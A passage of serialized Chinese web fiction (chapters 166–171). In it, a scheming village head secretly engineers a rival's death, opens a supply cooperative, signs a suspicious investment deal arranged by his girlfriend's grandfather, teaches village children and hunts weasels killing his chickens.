司老爷子的声音,带着压抑的愤怒和无尽的悲伤。 “老李……是我……” “我要……特警队……所有能用的力量……” “我要……九头蛇……鸡犬不留!” 司老爷子挂断电话后,随即又拨通了另一个号码。 “老王……是我……” “帮我联系……所有……能联系到的关系……” “我要……九头蛇……从这个世界上……消失!” 司老爷子一个接一个地打电话,调动着他可以调动到的所有的资源和力量。 司老爷子的声音,随后越来越坚定,也越来越冷酷。 春雨淅淅沥沥地落下,冲刷着司家别墅门前的台阶。 这时候,司老爷子的电话也已经打完了。 他看着外面的春雨,也不顾司母、督察和其他人的劝阻,一意孤行的走出别墅室内,然后老泪纵横地望着黑暗的苍天和漫天的雨水。 司老爷子的身影,在雨中显得格外的苍老和孤寂。 他的脸上,流淌着泪水,混杂着雨水,已经完全分不清彼此了。 司老爷子突然仰天长啸,声音充满了悲愤和绝望。 “九头蛇……” 司老爷子咬牙切齿地大喊道:“我司家……与你们……不共戴天!” 第一卷 第166章 供销社开业 自司宫确认死亡之后,阴云就笼罩在马关口县城里面。 空气之中,弥漫着一股高度紧张的气息。 路上的行人全部都行色匆匆,不时的窃窃私语。 街角的茶馆里面,人们不再闲聊着家长里短,而是交头接耳地不断的谈论着与“司家”和“九头蛇”有关的话题。 大街上,警笛声此起彼伏,划破了马关口县城的宁静。 荷枪实弹的警察在街头到处巡逻,盘查着过往的行人和车辆。 这种气氛,压抑得让人喘不过气。 整座马关口县城,此刻仿佛成了一座巨大的牢笼,每个人都被笼罩在恐惧的阴影之下。 然而,就在马关口县城正处于这风雨飘摇的时候,与此同时,上河村却是一片热闹景象。 “噼里啪啦!” 鞭炮声震耳欲聋。 锣鼓喧天,人声鼎沸。 陈虎的供销社,今天开业了! “哎呦!陈村长,恭喜恭喜啊!” 镇上的人大代表满脸堆笑,手里提着两挂鞭炮和陈虎道喜。 “同喜!同喜!王叔,里面请!” 陈虎拱手回礼,笑容满面。 “虎子,你这供销社,可是咱们镇上第一家啊!” 镇上的某领导也来庆祝供销社开业了,手里还拿着一个亲手雕刻的木牌匾。 “可不是嘛!以后买东西可方便多了!” 周围的村民们纷纷附和。 “陈村长,你这供销社里面,都有些啥好东西啊?” 村里面的一个大婶,十分好奇地问道。 “嘿嘿……婶子,您进去瞧瞧就知道了,保证让您满意!” 陈虎神秘一笑,做了个“请”的手势。 供销社外的院子里面,陈虎在开业前特意找来了一伙挑货郎,围拢着供销社一圈摆满了琳琅满目的商品。 这等同于是将市集短暂的搬到了上河村里头。 这次来的挑货郎、摊贩还真不少,他们售卖的物件也是各式各样的。 他们来之前,陈虎就承诺了,要是客流不大,他们的货卖不出去,陈虎自个儿每家兜底三成货物! 如此才造就了眼下供销社外面,这突兀出现的繁华场景。 售卖的物品从油盐酱醋到针头线脑,应有尽有。 村民们像潮水般涌进供销社,挑选着自己需要的商品。 “这布料真不错!比镇上铺子卖得便宜多了!” “这糖真甜!给我家娃买两斤!” “这肥皂也便宜!给我来一块!” …… 叫卖声,讨价还价声,此起彼伏。 供销社里热闹非凡,仿佛与外面紧张的气氛,彻底隔绝开来,如同两个世界一样。 陈虎站在门口,看着熙熙攘攘的人群,脸上露出了欣慰的笑容。 他知道,这只是个开始! 上河村热闹的开业庆典还在继续,与县城的紧张气氛,形成了鲜明的对比。 这两种截然不同的景象,交织在一起,构成了马关口县城这一天独特的风景。 鞭炮声还在噼啪作响。 锣鼓声依旧震耳欲聋。 马老三自作主张请来的表演团,倒是让陈虎十分认同。 一个红火的开端,的确能够让供销社在第一时间内,被十里八乡甚至于到镇上熟知。 等到后期的项目落定,陈虎还打算在供销社外建设一条商业街,让流动的摊贩在商业街上固定经营。 当然,这需要大量的外来消费能力才行,暂时还不着急。 陈虎的脸上,堆着笑容,应付着前来道贺的宾客。 突然,他感觉到一只柔软的手轻轻地搭在了他的肩膀上。 他不用回头,也知道对方是谁。 “若薇,你来了!” 陈虎转过身,看着孙若薇,笑容更加灿烂。 孙若薇没有回应陈虎的笑容,眼神里面,却是带着一丝探究。 “能借一步说话吗?” 孙若薇的声音很轻,却带着一丝不容置疑的坚定。 陈虎闻言,点了点头,然后带着孙若薇走到供销社后面僻静的小院。 鞭炮声渐渐远去,只剩下院子里面偶尔传来的几声鸟鸣。 “司宫的事情,你跟我说实话!” 孙若薇开门见山的问道,语气严肃。 陈虎听到孙若薇这话,脸色平静,他对于孙若薇要询问司宫的事情,当然不意外。 “司宫的死,警方已经定性为九头蛇所为。” “我知道!” 孙若薇盯着陈虎的眼睛,一眨不眨。 “但是我记得,你之前让我动用孙家的资源,查找九头蛇的线索。” 陈虎闻言,沉默了片刻。 “没错,我的确找过你。” “所以……” 孙若薇没有说完,但眼神之中的怀疑,已经不言而喻了。 “所以你就认为司宫的死跟我有关?” 陈虎反问道,语气平静。 “难道不是吗?” 孙若薇毫不退让。 “若薇,你太高估我了!” 陈虎苦笑一声。 “我虽然和九头蛇有过节,但我还没能耐让他们去杀司宫。” “那你找他们做什么?” 孙若薇步步紧逼。 “我只是想摸清他们的底细,以防万一。” 陈虎解释道。 “仅此而已?” 孙若薇显然不太相信。 “我以我的人格担保!” 陈虎语气坚定,眼神真诚。 孙若薇看着陈虎,眼神之中的怀疑渐渐消退,取而代之的是一丝疑惑。 “可是,如果不是你,那会是谁?” 陈虎闻言,摇了摇头。 “我不知道!” 顿了顿,陈虎接着说道。 “或许,是九头蛇内部的仇杀。” “也或许,是有人想嫁祸给我。” 孙若薇听到陈虎的话后,不由得陷入了沉思。 陈虎的话,不无道理。 司宫的死,疑点重重。 “不管怎么样,你都要小心!” 孙若薇抬起头,看着陈虎,眼神之中,充满了担忧。 “我知道!” 陈虎点了点头应道。 “我会保护好自己,也会保护好你的!” 随后,陈虎伸出手,轻轻地握住了孙若薇的手。 孙若薇没有拒绝,任由陈虎握着。 院子里面,微风拂过,树叶沙沙作响。 陈虎和孙若薇两人静静地站着,仿佛时间静止了一般。 远处,鞭炮声再次响起,打破了这份宁静。 陈虎和孙若薇两人对视一眼,都从彼此的眼神之中,看到了一丝无奈。 这场风波,才刚刚开始! 第一卷 第167章 你懂个屁! 不多时,送走宾客与孙若薇的陈虎,略显疲态的独自回到家中闲坐休息。 对于欺骗孙若薇,陈虎倒是没有丝毫的心理负担。 作为一个前世满手鲜血的刽子手,陈虎的思维逻辑与常人大不相同。 从道德与伦理的视角来看,撒谎行为通常被普遍视为不可接受的。 首先,撒谎不仅对事实进行扭曲,更构成了对他人信任的背叛。 当个体选择以虚假的言辞掩盖真相时,不仅会削弱自身在他人心中的诚信形象,还会对人际关系,产生破坏性的影响。 其次,撒谎者往往试图逃避责任,通过谎言规避面对潜在后果,这种行为反映了深刻的自私自利及缺乏责任感。 其言行常常引发他人的不安,因为一旦谎言被揭穿,将不仅导致心理上的失望,而且更是对信任的本质,产生深远的质疑。 更为重要的是,持续的撒谎行为可能逐渐演变为习惯,进而影响个体的道德观念和价值取向。 这种转变使得撒谎者在处理真实的问题时,难以保持诚实与透明,最终可能导致更广泛的社会问题。 因此,对撒谎行为的警惕和反思,在伦理层面显得尤为重要。 当然,这一切的前提都需要加上一个“对正常人而言”。 陈虎显然就不属于此列。 你可以称他为一个骗子,刽子手,再到如今的商人。 道德层面的约束,甚至于这个社会的规则,对于陈虎来说,根本并不重要。 马老三算是一路看着陈虎走过来的人了,从最开始因为年景不好,陈虎需要打猎养家,再到翻新房屋、创办供销社,以及建设学校。 他也很疑惑陈虎是怎么摇身一变,成了村长的。 他曾问过陈虎这么一个问题:“虎哥,我们建设学校,算不算赎罪?” “赎罪”指的是两人曾在后山埋下的王家父子和朱明的尸骨。 陈虎对此却十分不屑,摇头表示: “如果有地狱,尽管让我死后受刑,我眼下所做的一切,只为一个目的,至于忏悔、赎罪,那是失败者该做的事情,与我无关。” 马老三对于陈虎的说法极为不解,追问陈虎所说目的是什么。 陈虎倒是十分利落的回答道: “这个世界生病了!” “有人恶贯满盈却腰缠万贯,有人始于微末,却在高位上忘记初心。” “无数的病人捧着发霉的种子,在各处瘟疫般散播恶行。” “你知道为什么既定的、正确的章程,为什么会扭曲?” “你明白人心的欲望如何满足?” “你知道要怎么做才能给这个世界一剂猛药,让他起死回生?” “你懂吗?” “你懂个屁!” …… 春日午后,一场蒙蒙细雨,悄然而至。 雨丝细密如织,轻柔地落在屋檐上,发出清脆的滴答声。 雨水洗刷着尘埃,空气之中,弥漫着泥土的芬芳,一切都显得格外的清新宁静。 然而,在陈虎家中,气氛却与这春日细雨截然不同。 陈虎坐在桌前,面前铺着一张粗糙的纸,上面密密麻麻地写满了名字和箭头,构成了一张复杂的关系图。 此刻,陈虎眉头紧锁,目光锐利,仿佛要将这张纸给看穿。 “九头蛇……司家……”陈虎手指在纸上轻轻敲击,低声自语道:“两条疯狗,就让你们先咬一阵子吧!” 陈虎心里面清楚,司宫的死,虽然是他一手策划,但表面上却与他毫无关联。 司家现在已经将全部的仇恨,都倾注在了九头蛇残余的势力身上,这正是他想要的结果。 “鹬蚌相争,渔翁得利!”陈虎的嘴角露出一丝冷笑道:“等我腾出手来,再把你们一网打尽!” 而后,陈虎就拿起一支铅笔,在纸上又添加了几条线,并且将几个关键人物都圈了起来。 “孙家……刘三刀……”陈虎的目光在这些名字上面停留了片刻,而后说道:“这些人,都是我计划中不可或缺的一部分!” 他深知,在这个时代里,单打独斗是行不通的。 要想实现他的目标,就必须借助各方势力,将他们巧妙地编织成一张大网,为他所用。 这社会所谓的强者,无非就是各种社会关系的总和,以利益往来形成的利益同盟为基础。 陈虎的思绪,回到了前世。 作为一个雇佣兵,他经历过无数的生死考验,也见识过各种各样的阴谋诡计。 他知道,在这个世界上,没有永远的朋友,也没有永远的敌人,只有永恒的利益。 “在这个时代,我要建立属于自己的规则!”陈虎的眼中,闪过一丝精光,语气格外坚定道:“现在,就从这马关口县一隅之地开始吧!” 窗外,雨势渐渐变大,雨点敲打着窗户,发出了“噼里啪啦……”的响声。 屋内,陈虎的思绪却越来越清晰,他的计划也越来越完善。 他知道,这场风波才刚刚开始,未来的路还很长,充满了挑战和危险。 但他并不畏惧,因为他的心中有着一个坚定的目标,那就是改变这个世界,让它变得更好! 至少,对他自己而言,要更好! 陈虎随后站起身来,走到窗前,看着窗外瓢泼的大雨。 有的事情,该是时候开始了! 春日暖阳洒在平静的小镇上,给青灰色的屋瓦,镀上了一层金边。 街道两旁的杨柳,抽出了嫩芽,在微风之中,轻轻摇曳。 空气之中,弥漫着淡淡的泥土气息,夹杂着远处飘来的饭菜香味。 小镇的宁静祥和,与陈虎内心的波涛汹涌完全形成了鲜明的对比。 包专驾驶着吉普车,稳稳地停在了孙家大院的门口。 陈虎下车,对包专微微点头,淡淡命令一句。 “我进去一趟,你在这里等我!” 包专闻言,十分恭敬地答道:“虎哥,您放心!” 陈虎推开朱红色的大门,走进了孙家大院。 院内,孙若薇正在侍弄花草,一袭淡蓝色长裙,衬托出她清丽脱俗的气质。 看到陈虎,孙若薇立马放下手中的水壶,高兴的迎了上来。 “你来了!” 陈虎点了点头,将手中的牛皮纸袋,递给了孙若薇。 “这是学校和供销社的招标企划书,你看看!” 孙若薇接过企划书,却没有立即打开,而是抬头,目光紧盯着陈虎。 “矿场的事情,和你有关吗?” 孙若薇的语气平静,但她的眼神之中,却是带着一丝探究。 陈虎迎着孙若薇的目光,语气坚定的回答。 “没有!” 顿了顿,陈虎又补充道:“但司宫的死,对于我们来说,是一件好事。” 孙若薇闻言,沉默了片刻,然后打开了企划书。 她仔细地翻看着,眉头微微皱起。 “这份企划书很详细!也很大胆!” 看完企划书后,孙若薇抬起头,十分认真的看着陈虎。 “你确定要这么做吗?” 陈虎闻言,淡淡的笑了笑。 “不破不立!” 他看着孙若薇,眼神之中,充满了自信。 “只有打破旧的秩序,才能够建立新的规则!” 第一卷 第168章 十万的投资 孙若薇听了陈虎的话后,就深深地看了陈虎一眼,然后将企划书合上。 “我需要一些时间去走完流程,地段也已经选好了,就在上河村南边五里外的一处平坦地界,半个月后,那里预计会开始按照你的规划动工。” 陈虎闻言,点了点头,对此没有异议。 时间长短倒是不在他的思考范畴内,这些事情,既然交给了孙若薇打理,那陈虎自然不会有疑问的。 “你全权处理就好,有问题就找我!” 孙若薇将企划书放在一旁,然后说道:“对了!爷爷有东西要交给你!” 说完,孙若薇转身向屋内走去。 “跟我来吧!” 陈虎随后跟着孙若薇,走进了书房内。 孙老此时正坐在一把太师椅上,手里拿着一串佛珠,闭目养神。 听到脚步声,孙老缓缓睁开眼睛。 看着陈虎,孙老的眼神之中,此时充满了慈祥。 “你来了!” 陈虎恭敬地向孙老打招呼问好。 “孙老好!” 孙老示意陈虎坐下。 “若薇说,你打算重建学校和供销社?还设计了一个胆大妄为的项目?” 陈虎闻言,点了点头。 “是的!” 孙老随后笑了笑。 “你们的打算若薇和老头子我都说了,年轻人有魄力,是好事!” 说到这里,孙老将手中的佛珠放下,然后从旁边的抽屉里面,拿出了一个木盒。 “这个,你拿着?” 孙老将木盒递给陈虎。 陈虎接过木盒,入手沉甸甸的。 不由得,陈虎疑惑地看向孙老。 “这是什么?” 孙老闻言,意味深长地回答了陈虎。 “你打开看看就知道了!” 陈虎听到这话,心中不由得警铃大作。 这老狐狸的葫芦里面,到底卖的什么药? 对于孙老,陈虎自一开始就没将其当作一位和蔼的老人。 一个身居高位,却退隐在此的大人物,连县城领导班子亲自拜访都可以拒之门外的角色,自然不会是寻常人。 能走到这一步,其背后是否肮脏龌龊,外人不得而知。 陈虎心中十分冷静,但表面上,却是装出了恰到好处的疑惑,缓缓的打开了木盒。 里面静静的躺着一份文件,不是陈虎预想中的什么古董字画或者金银珠宝一类的东西。 而是一份商业投资协议! 陈虎见此,眉头不由得一挑。 南方城市工业集团? 没听说过啊? 他拿起协议,仔细地翻看起来,协议内容很简单,对方投资他计划建设的轻工业与一众预设项目。 条件是让出百分之三十的股份。 陈虎见此,心中当即冷笑。 百分之三十? 胃口不小啊! 他抬起头,看向孙老。 “孙老,这是什么意思?” 孙老闻言,呵呵一笑。 “这是我一个老战友,听说你的计划后,特意发来的。” 说到这里,孙老顿了顿,又补充道:“这位老战友,现在是南方城市工业集团的掌控人。” 孙老的语气里面,带着一丝不易察觉的得意。 仿佛是在说:看!我给你找了个多好的金主! 陈虎闻言,心中冷笑更甚。 老战友? 他敏锐地察觉到了一丝不对劲。 这协议来得实在是太及时了! 及时得就像…… 一个早就准备好的陷阱! 陈虎不动声色,继续翻看着协议。 协议上,投资金额赫然写着:十万! 这在七十年代末,无疑是一笔巨款。 足够他全面展开计划。 而不用像他最初构思的那样,用走钢丝绳的方式,不断利用杠杆加码。 陈虎心中,当即开始细细盘算着。 表面上看,这协议对他百利而无一害。 但天上不会掉馅饼。 这背后,肯定有什么他不知道的猫腻。 陈虎随后抬起头,看向孙老。 “孙老,这份协议对我而言,简直就是雪中送炭!” 孙老似乎没有料到陈虎会这么说,愣了半晌后,这才笑着点了点头。 “应该的!应该的!” 顿了顿,孙老又说道:“小虎啊,机会难得,你可千万不要错过了!” 孙老的语气里面,带着一丝劝诫,也带着一丝不易察觉的威胁。 陈虎闻言,依旧笑着回应。 “孙老说的我明白!这份协议并没有什么问题!” 说罢,陈虎便直接找来了笔,在协议末尾签下了他的名字。 孙老见状,眼底顿时就闪过一抹喜色,而后与陈虎一阵寒暄。 孙若薇则安静的在一旁,给两人添茶。 一直到午后,陈虎才起身告退道: “孙老,如果没有其它的事情,那我就先回去了!” 孙老闻言,点了点头。 “好!路上小心!” 陈虎转身便离开了。 孙若薇一直站在一旁,静静地看着这一切的发生。 她并没有说话。 只是她的眼神里面,带着一丝担忧。 陈虎同样注意到了这一幕,给孙若薇递去了一个宽慰的眼神。 随后,陈虎走出了孙家大院。 包专立刻就迎了上来。 “虎哥,怎么样?” 陈虎没有多说什么,直接坐进吉普车。 “开车!” 包专闻言,随后便发动了车子。 吉普车缓缓驶离孙家大院。 陈虎靠在座椅上,闭上眼睛沉思着。 南方城市工业集团。 老战友。 十万投资。 百分之三十的股份。 …… 这些信息在陈虎的脑海里面,不断的反复出现。 他感觉他就像一只被蜘蛛盯上的猎物。 一步步地走向早已编织好的蛛网。 但他却没有任何退路。 他必须要往前走才行。 哪怕前面是万丈深渊! 对于类似的事情,陈虎自然是早就有所预料的。 等到他的诸多项目逐一展开后,必然会吸引上层的人下场夺食,只不过没想到竟然会这般快,甚至于还在他尚未完全展开计划的时候,便出现了。 当然,这并不影响什么,反倒能让一切加快进度! 蛋糕太大,陈虎很清楚目前的他根本不可能吃得下的。 分着吃的话,才能够让蛋糕越来越大! 所以,尽管这份协议出乎了陈虎的意料,但陈虎倒也无所谓签下了。 “包专!” “虎哥,您说!” “下午你跑一趟县城里头,去找以前成枝豹手底下的人,给点好处让他们想办法帮忙查查这个南方城市工业集团。” “尤其是要查这个南方城市工业集团的掌控人,对方是孙老的那个老战友。” “我要知道他们的一切!” “是!虎哥!” 包专回应陈虎的命令后,就猛地一踩油门。 吉普车随即就咆哮着,冲向了前方…… 第一卷 第169章 追逐利益是他的天性! 陈虎走后,孙若薇秀眉紧蹙。 随后,孙若薇给孙老续了杯茶。 “爷爷,您为什么要……” 话说到一半,孙若薇就停住了,也不知道该如何开口。 孙老端起了茶杯,轻轻抿了一口,然后轻轻摇了摇头。 “薇薇啊,你还是太年轻了!” 孙老放下茶杯,眼神里面,带着一丝深邃。 “你以为陈虎真的会乖乖听话吗?” 孙若薇闻言,不由得一愣。 “他……他不是答应跟我们合作了吗?” 孙老听到孙若薇的反问,不由得笑了笑。 “合作?呵呵……” 孙老摇了摇头。 “这小子,野心大着呢!” 孙若薇闻言,有些不明白。 “可是,这百分之三十的股份……”孙若薇咬了咬嘴唇道:“我和他如今在交往,并且我们完全可以自己……” 孙老这时候摆了摆手,打断了孙若薇。 “薇薇,你呀,就是太善良了!” 孙老叹了口气。 “陈虎这小子,从我认识他开始,我就看出了他的不一般!” “他能拿出这份企划书,就说明了这个人的能力与野心都远远超乎我的想象,这种人不会太重感情的,追逐利益是他的天性!” “你给他肉吃,他就会想着吃掉你!” 孙若薇闻言,顿时就沉默了。 她知道爷爷说的确实没错。 陈虎的确是个很有野心的人。 “那……我们怎么办?” 孙若薇不由得有些担忧。 孙老这时候,眼中闪过一丝精光。 “放心!爷爷自有安排!” 顿了顿,孙老继续道:“这百分之三十,只是第一步!” 孙若薇闻言,不由得更加疑惑了。 “第一步?” “没错!”孙老点了点头,解释道:“这协议,表面上看,是我们让利给陈虎。” “实际上,却是我们控制他的第一步。” 孙若薇还是不明白爷爷的话。 “控制他?” “怎么控制?” 孙老摇头笑了笑。 “薇薇,你想想。” “陈虎现在最需要什么?” 孙若薇皱着眉头,仔细想了想。 “资金?” “没错!”孙老点了点头道:“他现在急需资金来展开他的计划。” “而这十万,对于他来说,就是雪中送炭。” 顿了顿,孙老十分认真的说道:“他为了这十万,会不惜一切代价的!” “包括……” 孙老说到这里,意味深长地看了孙若薇一眼。 “包括放弃一部分的控制权。” 孙若薇闻言,恍然大悟。 “爷爷,您的意思是……” “是的!有了这百分之三十的股份,再加上你手中的股份……”孙老的眼中,闪过一丝寒芒道:“我们就能够牢牢地控制住陈虎。” “让他不敢生出二心,无论是后续的产业,还是对你。” 孙若薇闻言,心中不由得一凛。 她没想到爷爷竟然会有这样的打算。 “可是……” 孙若薇有些犹豫。 “这样会不会……” 孙老这时候,又摆了摆手,打断孙若薇道:“薇薇,你不用担心!” “这是双赢的局面!” 随后,孙老解释道:“陈虎得到了他想要的资金。” “而我们,得到了对他的控制权。” “这有什么不好?” 孙若薇闻言,顿时沉默了。 她知道爷爷说得没错。 但这件事情,总让她觉得有些不安。 孙老看着孙若薇,眼中闪过一丝慈爱。 “薇薇,爷爷都是为了你好!” 孙老随后拍了拍孙若薇的手道:“爷爷知道,你对陈虎有感情。” “但感情,不能当饭吃!” 顿了顿,孙老又恢复严肃认真的语气道:“只有掌握了实权,才能保证你以后的幸福。你不是期望着婚姻自主,不被你父母所操控?难道说你逃出你父母的掌控,是为了被陈虎这小子牢牢掌控?” “爷爷因为疼你,所以才会做这些!” “你放心吧!这对你们不会有什么影响的,前提是陈虎这小子不生出二心!” 孙若薇闻言,直接低下了头。 她知道爷爷是为了她好。 但她的心中,还是有些不舒服。 孙老看着孙若薇,心中不由得暗叹一声。 这丫头,还是太单纯了! 不过,这样也好。 至少……她不会被陈虎那小子给骗了。 想到这里,孙老的眼中,又闪过一丝精光。 陈虎啊陈虎…… 你以为你赢了吗? 其实,你早就落入了我的圈套。 这百分之三十的股份,只是个开始。 接下来,我会让你乖乖地听我的话。 让你成为我孙家的棋子! 孙老端起茶杯,轻轻抿了一口。 眼中,狠厉之色乍现,并且有一种莫名的光芒在隐约闪烁着。 次日。 由于招标和前期建设的工程,陈虎全权交给了孙若薇,而供销社与养殖场则有马老三夫妇打理着,陈虎可以偷闲一日,总算是能歇口气了。 吃过早饭后,陈虎伸了个懒腰,想着去后山转转,打点野味。 “陈虎!” 一声清脆的喊声,却是突然打破了陈虎的计划。 是陆无双! “陆老师,啥事儿啊?”陈虎笑着问道。 “你今天有空吗?去学校给孩子们上一节课吧!”陆无双开门见山的说道。 陈虎闻言,头皮顿时就感到有点发麻。 让他上山打猎,他能一整天不带歇的。 可让他去上课的话…… “那个……陆老师,我大字不识几个,怎么给孩子们上课啊?”陈虎脸不红心不跳的撒了个谎,试图推脱。 “不行!你得去!孩子们都盼着你呢!”陆无双的态度,坚决。 陈虎拗不过陆于双,只好答应下来。 “行吧!我去!我去还不行吗?” 陈虎叹了口气,认命似地跟着陆无双去了学校。 学校是陈虎一手操办起来的。 虽然简陋,但对上河村的孩子们来说,已经是难得的学习场所了。 陈虎走进教室后,顿时就有几十双眼睛,齐刷刷地看向他。 这些孩子们,大的十几岁,小的才五、六岁。 他们都穿着补丁摞补丁的衣服,眼神里面,充满了求知的光芒。 陈虎看着这些孩子们,心里面突然涌起了一股责任感。 他走到讲台前,拿起粉笔,在黑板上写下了四个大字:读书育人! “今天,我不教你们读书写字。”陈虎看着孩子们,十分认真地说道。 孩子们闻言,不由得都愣住了。 不教读书写字,那教什么? “我教你们,什么叫‘育人’!” 陈虎指着黑板上的“育人”两个字,语气特意加重了。 “育人,就是教你们怎么做人!” “如何做一个有用的人!” 一个孩子突然举起手,怯生生地问道:“虎哥,啥叫有用的人?” 陈虎听到这话,不由得轻笑了下。 “有用的人,就是能为别人,为社会,做出贡献的人。” “比如,医生能治病救人。” “老师能教书育人。” “农民能种出粮食。” “工人能制造机器。” 孩子们对于陈虎的话,听得似懂非懂。 一个年纪稍大的孩子随后问道:“虎哥,那像我们这样,什么都不会,是不是就没用了?” 陈虎闻言,却是摇了摇头。 “不是!” “每个人都有自己的价值。” “只要你肯学习,肯努力,就能够找到自己的价值。” “就能够成为一个有用的人!” 陈虎顿了顿,接着继续说道:“你们现在还小,可能不明白这些道理。” “但是,我希望你们记住一句话。” “知识改变命运!” “只有读书学习,才能够改变你们的命运,才能够让你们走出大山,才能够让你们看到更广阔的世界。” 孩子们听得直接入了神。 他们从未听过这样的话。 在他们看来,读书是城里孩子的事情。 他们这些山里的孩子,能吃饱穿暖就已经不错了。 陈虎看着孩子们,心里面充满了希望。 他知道,这些孩子们就是上河村的未来! 同时,这些孩子们也是国家的未来! 第170章 黄鼠狼偷鸡 这些孩子们听了陈虎的话后,心中不由得多了更多的向往。 “虎哥,外面的世界是什么样子的啊?”一个孩子好奇地问道。 陈虎闻言,直接笑了笑回应。 “外面的世界很大!也很精彩!” “有高楼大厦,有汽车飞机。” “有各种各样的美食,有各种各样的娱乐……” 这些孩子们听着陈虎的话后,直接听得眼睛都直了。 他们无法想象,外面的世界竟然会如此精彩。 “虎哥,我们也能去外面的世界看看吗?”又有一个孩子问道。 陈虎点了点头,语气坚定。 “当然可以!” “只要你们好好学习,将来一定有机会去外面的世界看看的。” 孩子们听到陈虎这话,顿时就一起兴奋地鼓起掌来。 他们的眼中,充满了希望。 陈虎看着这些孩子们,心里面充满了欣慰。 他知道,他的话,已经在这些孩子们的心中,种下了一颗种子。 一颗希望的种子! 这节课,陈虎没有教孩子们任何知识。 但他却教会了孩子们最重要的一课。 那就是,如何成为一个有用的人。 下课后,孩子们围着陈虎,叽叽喳喳地问个不停。 陈虎耐心地回答着他们的问题。 他知道这些孩子们对知识的渴望,就像一颗颗饥渴的种子,需要他用知识的雨露去滋润。 看着孩子们求知若渴的眼神,陈虎更加坚定了他的信念。 他要让上河村的孩子们,都接受良好的教育。 让他们走出大山,去看更广阔的世界。 让他们成为国家的栋梁之才。 下课后,孩子们还对陈虎讲述的一切意犹未尽。 陈虎则宽慰学生们改日他再来授课,而后他伸了个懒腰,准备回家。 “虎哥!虎哥!不好了!” 就在这时,一个身影慌慌张张地跑进学校。 对方是同村的牛傻子! “咋了?傻子,啥事儿慌慌张张的?”陈虎好奇问道。 “养殖场……养殖场出事了!”牛傻子上气不接下气地说道。 养殖场? 陈虎闻言,心里顿时咯噔一下。 “出啥事了?” “鸡……鸡死了好多!” 听到牛傻子这话,陈虎顿时脸色一变。 “走!去看看!” 陈虎随后跟着牛傻子一路狂奔,直奔村外的养殖场。 养殖场是陈虎一手建起来的,后续养殖场的收入倒是次要的,但这也算一份来之不易的产业,陈虎自然上心。 两人一到养殖场,一股浓烈的血腥味便扑面而来。 陈虎顿时心里一沉。 “老三!”陈虎大喊一声。 马老三随后从鸡舍里面走了出来。 他脸色阴沉,手里提着几只死鸡。 这些鸡浑身是血,死状凄惨。 “虎哥,你来了。”马老三声音低沉,脸色阴郁。 “这是怎么回事?”陈虎指着死鸡质问道。 “昨晚的事儿,估计是黄鼠狼干的!”马老三咬牙切齿的回道。 “黄鼠狼?”陈虎闻言,不由得皱起了眉头。 “嗯!你看这伤口,像是被什么尖锐的东西咬的,鸡舍的铁丝网也被咬破了。”马老三指着死鸡身上的伤口解释道。 陈虎听到马老三这话,当即就仔细地看了看死鸡的伤口。 就见得,死鸡身上的伤口确实像是被什么动物给咬死的。 “死了多少?”陈虎随后问道。 “十几只了!今早发现的时候。好多乡亲们也在,他们……他们都说……”马老三说到这里,却是犹豫了一下,叹了口气。 十几只鸡,对于目前刚刚建立的养殖场来说,可不是什么小数目。 “村民们都咋说?”陈虎好奇问道。 马老三闻言,迟疑的看了眼陈虎,然后才说道:“虎哥,村里都在传……都在传……” “传什么?” “说……说是你之前打了黄鼠狼,黄三太奶报复来了。” 黄三太奶? 陈虎闻言,当即一愣。 这都什么年代了,这帮村民们经过之前的事情后,怎么还信这个? 黄三太奶是北方农村的迷信说法,说是黄鼠狼成精了,会作祟。 没想到上次的事情都过去那么久了,现在竟然还会出现这样的传言。 陈虎不由得有些头疼。 这破事儿还有完没完? 马老太那神婆都早被他给唬住了,就是她全家都已经葬身雪里,一家子都没命了,怎么现在还有人信这个? “老三,别听他们瞎说!这世上哪有什么黄三太奶!”陈虎随后语气严肃的说道。 “可是……虎哥,这鸡死得也太蹊跷了!”马老三这时候还是有些担心。 “蹊跷个屁!就是黄鼠狼干的!晚上我亲自去抓!”陈虎斩钉截铁地说道。 他必须尽快解决这件事情。 不然的话,人心惶惶,对养殖场,对上河村都不利。 “虎哥,这……”马老三听到陈虎的话后,却是还想再对陈虎说什么。 “别说了!就这么定了!”陈虎十分果断地打断了马老三的话。 同时,陈虎的眼中,也是闪过了一丝寒光。 今晚,他就要把这些黄鼠狼们抓个现行! 夜幕降临,上河村笼罩在一片静谧之中。 点点星光点缀着墨蓝色的天空,一轮弯月悬挂在天边,散发着柔和的光芒。 春日的夜晚,带着一丝凉意,却并不寒冷。 空气之中,弥漫着泥土的芬芳,夹杂着远处田野里所传来的蛙鸣声。 陈虎和马老三吃过晚饭之后,就早早来到了养殖场外的一处灌木丛中。 他们带上了弓弩和猎枪,准备守株待兔。 灌木丛茂密,枝叶交错,将两人隐藏得严严实实。 陈虎将弓弩放在身旁,仔细检查了一遍,确保随时可以使用。 马老三则抱着猎枪,一脸警惕地注视着周围的动静。 “虎哥,你说这黄鼠狼真的会来吗?”马老三压低声音问道。 “肯定会来!”陈虎语气坚定的回道。 “可这都后半夜了,连个鬼影子都没见着啊!”马老三打了个哈欠,有些不确定黄鼠狼到底会不会来。 陈虎闻言,没有说话,只是静静地观察着周围的环境。 他相信他的直觉,那些黄鼠狼一定会出现的! 时间一分一秒地过去,周围一片寂静。 只有偶尔的虫鸣声,打破了夜的宁静。 马老三已经开始昏昏欲睡。 “虎哥,今晚怕是等不到了吧?”马老三揉了揉眼睛,有些疲惫的问道。 就在这时,陈虎突然感觉到养殖场北边传来了一阵细微的动静。 顿时,陈虎立刻警觉起来。 “嘘!” 陈虎示意马老三安静。 他凝神细听,确认了动静的来源。 “来了!”陈虎随后低声说道。 “在哪儿?”马老三闻言,瞬间便清醒过来。 “北边,你带猎枪进去驱赶,我去堵住它们的退路。”陈虎迅速做出了安排。 “好嘞!”马老三拿起猎枪,猫着腰,朝着养殖场走去。 陈虎则绕到养殖场的北边,隐藏在一棵大树的后面。 他屏住呼吸,等待着猎物的出现。 不一会儿,两只黄鼠狼就从草丛中钻了出来。 它们鬼鬼祟祟地靠近鸡舍,似乎在寻找着入口。 “就是现在!”陈虎心中暗喊。 与此同时,陈虎迅速举起弓弩,瞄准了其中的一只黄鼠狼。 “嗖!” 弩箭破空而出,正中目标。 那只黄鼠狼当即就发出了一声惨叫,直接就倒在了地上。 第171章 你认为我是在和你商量吗? 另一只黄鼠狼看到同伴死亡的惨状之后,直接就吓得转身就逃。 “想跑?” 陈虎见状,当即冷笑一声。 他眼睛紧盯着这只黄鼠狼,迅速追了上去,跟在这只黄鼠狼的身后。 这只黄鼠狼在田野里狂奔,试图逃脱陈虎的追捕。 陈虎紧追不舍,速度丝毫不减。 